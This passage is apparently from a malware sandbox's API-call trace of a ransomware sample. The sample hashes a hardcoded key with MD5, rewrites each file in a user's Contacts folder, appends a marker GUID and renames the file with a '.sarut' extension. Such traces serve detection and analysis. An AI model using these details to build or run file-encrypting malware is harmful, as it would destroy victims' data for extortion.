cAlternateFileName="ACLVIH~1.CON")) returned 1 [0267.112] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned=".contact" [0267.112] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.113] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=1178) returned 1 [0267.113] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.116] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.116] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.140] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x49a, lpOverlapped=0x0) returned 1 [0267.140] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.140] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.140] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.140] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0267.374] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.374] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.374] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.374] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x30695a8, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x30695a8, pdwDataLen=0x387fa98) returned 1 [0267.374] GetLastError () returned 0x0 [0267.374] SetLastError (dwErrCode=0x0) [0267.374] GetLastError () returned 0x0 [0267.374] SetLastError (dwErrCode=0x0) [0267.374] GetLastError () returned 0x0 [0267.375] SetLastError (dwErrCode=0x0) [0267.375] GetLastError () returned 0x0 [0267.375] SetLastError (dwErrCode=0x0) [0267.375] GetLastError () returned 0x0 [0267.375] SetLastError (dwErrCode=0x0) [0267.375] GetLastError () returned 0x0 [0267.375] SetLastError (dwErrCode=0x0) [0267.375] GetLastError () returned 0x0 [0267.375] SetLastError (dwErrCode=0x0) [0267.375] GetLastError () returned 0x0 [0267.375] SetLastError (dwErrCode=0x0) [0267.375] GetLastError () returned 0x0 [0267.375] SetLastError (dwErrCode=0x0) [0267.375] GetLastError () returned 0x0 [0267.375] SetLastError (dwErrCode=0x0) [0267.376] GetLastError () returned 0x0 [0267.376] SetLastError (dwErrCode=0x0) [0267.376] GetLastError () returned 0x0 [0267.376] SetLastError (dwErrCode=0x0) [0267.376] GetLastError () returned 0x0 [0267.376] SetLastError (dwErrCode=0x0) [0267.376] GetLastError () returned 0x0 [0267.376] SetLastError (dwErrCode=0x0) [0267.376] GetLastError () returned 0x0 [0267.376] SetLastError (dwErrCode=0x0) [0267.376] GetLastError () returned 0x0 [0267.376] SetLastError (dwErrCode=0x0) [0267.376] GetLastError () returned 0x0 [0267.376] SetLastError (dwErrCode=0x0) [0267.376] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.376] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0267.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0267.377] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x49a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.377] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.377] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.377] CloseHandle (hObject=0x5c4) returned 1 [0267.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0267.380] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311b6f8 [0267.380] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0267.380] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.sarut")) returned 1 [0267.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311b6f8 | out: hHeap=0x640000) returned 1 [0267.383] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0267.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0267.384] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0267.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0267.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.384] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned=".contact" [0267.384] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.385] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=68382) returned 1 [0267.385] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.387] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10af8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.387] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0267.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0267.402] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.402] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x10b1e, lpOverlapped=0x0) returned 1 [0267.410] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.410] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0267.410] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.410] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.410] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0267.532] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.532] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.532] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.532] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x30695c8 [0267.532] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x30695c8, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x30695c8, pdwDataLen=0x387fa98) returned 1 [0267.532] GetLastError () returned 0x0 [0267.532] SetLastError (dwErrCode=0x0) [0267.532] GetLastError () returned 0x0 [0267.532] SetLastError (dwErrCode=0x0) [0267.532] GetLastError () returned 0x0 [0267.533] SetLastError (dwErrCode=0x0) [0267.533] GetLastError () returned 0x0 [0267.533] SetLastError (dwErrCode=0x0) [0267.533] GetLastError () returned 0x0 [0267.533] SetLastError (dwErrCode=0x0) [0267.533] GetLastError () returned 0x0 [0267.533] SetLastError (dwErrCode=0x0) [0267.533] GetLastError () returned 0x0 [0267.533] SetLastError (dwErrCode=0x0) [0267.533] GetLastError () returned 0x0 [0267.533] SetLastError (dwErrCode=0x0) [0267.533] GetLastError () returned 0x0 [0267.533] SetLastError (dwErrCode=0x0) [0267.533] GetLastError () returned 0x0 [0267.533] SetLastError (dwErrCode=0x0) [0267.533] GetLastError () returned 0x0 [0267.534] SetLastError (dwErrCode=0x0) [0267.534] GetLastError () returned 0x0 [0267.534] SetLastError (dwErrCode=0x0) [0267.534] GetLastError () returned 0x0 [0267.534] SetLastError (dwErrCode=0x0) [0267.534] GetLastError () returned 0x0 [0267.534] SetLastError (dwErrCode=0x0) [0267.534] GetLastError () returned 0x0 [0267.534] SetLastError (dwErrCode=0x0) [0267.534] GetLastError () returned 0x0 [0267.534] SetLastError (dwErrCode=0x0) [0267.534] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cd8 [0267.534] GetLastError () returned 0x0 [0267.537] SetLastError (dwErrCode=0x0) [0267.537] GetLastError () returned 0x0 [0267.537] SetLastError (dwErrCode=0x0) [0267.537] GetLastError () returned 0x0 [0267.537] SetLastError (dwErrCode=0x0) [0267.537] GetLastError () returned 0x0 [0267.537] SetLastError (dwErrCode=0x0) [0267.537] GetLastError () returned 0x0 [0267.537] SetLastError (dwErrCode=0x0) [0267.537] GetLastError () returned 0x0 [0267.537] SetLastError (dwErrCode=0x0) [0267.537] GetLastError () returned 0x0 [0267.537] SetLastError (dwErrCode=0x0) [0267.537] GetLastError () returned 0x0 [0267.537] SetLastError (dwErrCode=0x0) [0267.537] GetLastError () returned 0x0 [0267.538] SetLastError (dwErrCode=0x0) [0267.538] GetLastError () returned 0x0 [0267.538] SetLastError (dwErrCode=0x0) [0267.538] GetLastError () returned 0x0 [0267.538] SetLastError (dwErrCode=0x0) [0267.538] GetLastError () returned 0x0 [0267.538] SetLastError (dwErrCode=0x0) [0267.538] GetLastError () returned 0x0 [0267.538] SetLastError (dwErrCode=0x0) [0267.538] GetLastError () returned 0x0 [0267.538] SetLastError (dwErrCode=0x0) [0267.538] GetLastError () returned 0x0 [0267.539] SetLastError (dwErrCode=0x0) [0267.539] GetLastError () returned 0x0 [0267.539] SetLastError (dwErrCode=0x0) [0267.539] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0267.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076cd8 | out: hHeap=0x640000) returned 1 [0267.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30695c8 | out: hHeap=0x640000) returned 1 [0267.539] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.539] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0267.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0267.539] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10b20) returned 0x311b6f8 [0267.541] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0267.541] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0267.541] WriteFile (in: hFile=0x5c4, lpBuffer=0x311b6f8*, nNumberOfBytesToWrite=0x10b19, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311b6f8*, lpNumberOfBytesWritten=0x387fb24*=0x10b19, lpOverlapped=0x0) returned 1 [0267.541] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311b6f8 | out: hHeap=0x640000) returned 1 [0267.541] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10b1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.541] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0267.541] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0267.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0267.541] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0267.542] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0267.542] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0267.542] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0267.542] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0267.542] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.542] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.542] CloseHandle (hObject=0x5c4) returned 1 [0267.548] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0267.548] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311b6f8 [0267.548] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0267.548] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.sarut")) returned 1 [0267.549] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311b6f8 | out: hHeap=0x640000) returned 1 [0267.549] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0267.550] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0267.550] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0267.550] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.550] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0267.550] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.550] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned=".contact" [0267.550] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.551] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=1171) returned 1 [0267.551] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.553] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x46d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.553] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.577] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0267.577] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0267.577] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.577] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x493, lpOverlapped=0x0) returned 1 [0267.577] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.577] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0267.577] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.577] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.577] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0267.578] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.578] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.578] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.578] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0267.578] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0267.578] GetLastError () returned 0x0 [0267.579] SetLastError (dwErrCode=0x0) [0267.579] GetLastError () returned 0x0 [0267.579] SetLastError (dwErrCode=0x0) [0267.579] GetLastError () returned 0x0 [0267.579] SetLastError (dwErrCode=0x0) [0267.579] GetLastError () returned 0x0 [0267.579] SetLastError (dwErrCode=0x0) [0267.579] GetLastError () returned 0x0 [0267.579] SetLastError (dwErrCode=0x0) [0267.579] GetLastError () returned 0x0 [0267.579] SetLastError (dwErrCode=0x0) [0267.579] GetLastError () returned 0x0 [0267.579] SetLastError (dwErrCode=0x0) [0267.579] GetLastError () returned 0x0 [0267.579] SetLastError (dwErrCode=0x0) [0267.579] GetLastError () returned 0x0 [0267.579] SetLastError (dwErrCode=0x0) [0267.579] GetLastError () returned 0x0 [0267.579] SetLastError (dwErrCode=0x0) [0267.579] GetLastError () returned 0x0 [0267.579] SetLastError (dwErrCode=0x0) [0267.579] GetLastError () returned 0x0 [0267.579] SetLastError (dwErrCode=0x0) [0267.579] GetLastError () returned 0x0 [0267.580] SetLastError (dwErrCode=0x0) [0267.580] GetLastError () returned 0x0 [0267.580] SetLastError (dwErrCode=0x0) [0267.580] GetLastError () returned 0x0 [0267.580] SetLastError (dwErrCode=0x0) [0267.580] GetLastError () returned 0x0 [0267.580] SetLastError (dwErrCode=0x0) [0267.580] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0267.580] GetLastError () returned 0x0 [0267.580] SetLastError (dwErrCode=0x0) [0267.580] GetLastError () returned 0x0 [0267.580] SetLastError (dwErrCode=0x0) [0267.580] GetLastError () returned 0x0 [0267.580] SetLastError (dwErrCode=0x0) [0267.580] GetLastError () returned 0x0 [0267.580] SetLastError (dwErrCode=0x0) [0267.580] GetLastError () returned 0x0 [0267.580] SetLastError (dwErrCode=0x0) [0267.580] GetLastError () returned 0x0 [0267.580] SetLastError (dwErrCode=0x0) [0267.580] GetLastError () returned 0x0 [0267.580] SetLastError (dwErrCode=0x0) [0267.580] GetLastError () returned 0x0 [0267.580] SetLastError (dwErrCode=0x0) [0267.581] GetLastError () returned 0x0 [0267.581] SetLastError (dwErrCode=0x0) [0267.581] GetLastError () returned 0x0 [0267.581] SetLastError (dwErrCode=0x0) [0267.581] GetLastError () returned 0x0 [0267.581] SetLastError (dwErrCode=0x0) [0267.581] GetLastError () returned 0x0 [0267.581] SetLastError (dwErrCode=0x0) [0267.581] GetLastError () returned 0x0 [0267.581] SetLastError (dwErrCode=0x0) [0267.581] GetLastError () returned 0x0 [0267.581] SetLastError (dwErrCode=0x0) [0267.581] GetLastError () returned 0x0 [0267.581] SetLastError (dwErrCode=0x0) [0267.581] GetLastError () returned 0x0 [0267.581] SetLastError (dwErrCode=0x0) [0267.581] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0267.581] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0267.581] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3069588 | out: hHeap=0x640000) returned 1 [0267.581] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.581] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0267.581] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0267.581] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x490) returned 0x712110 [0267.582] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0267.582] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0267.582] WriteFile (in: hFile=0x5c4, lpBuffer=0x712110*, nNumberOfBytesToWrite=0x48e, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x712110*, lpNumberOfBytesWritten=0x387fb24*=0x48e, lpOverlapped=0x0) returned 1 [0267.582] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0267.582] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x493, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.582] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0267.582] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0267.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0267.582] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0267.582] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0267.582] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0267.582] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0267.582] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0267.582] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.582] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.583] CloseHandle (hObject=0x5c4) returned 1 [0267.583] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0267.583] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0267.583] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0267.584] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 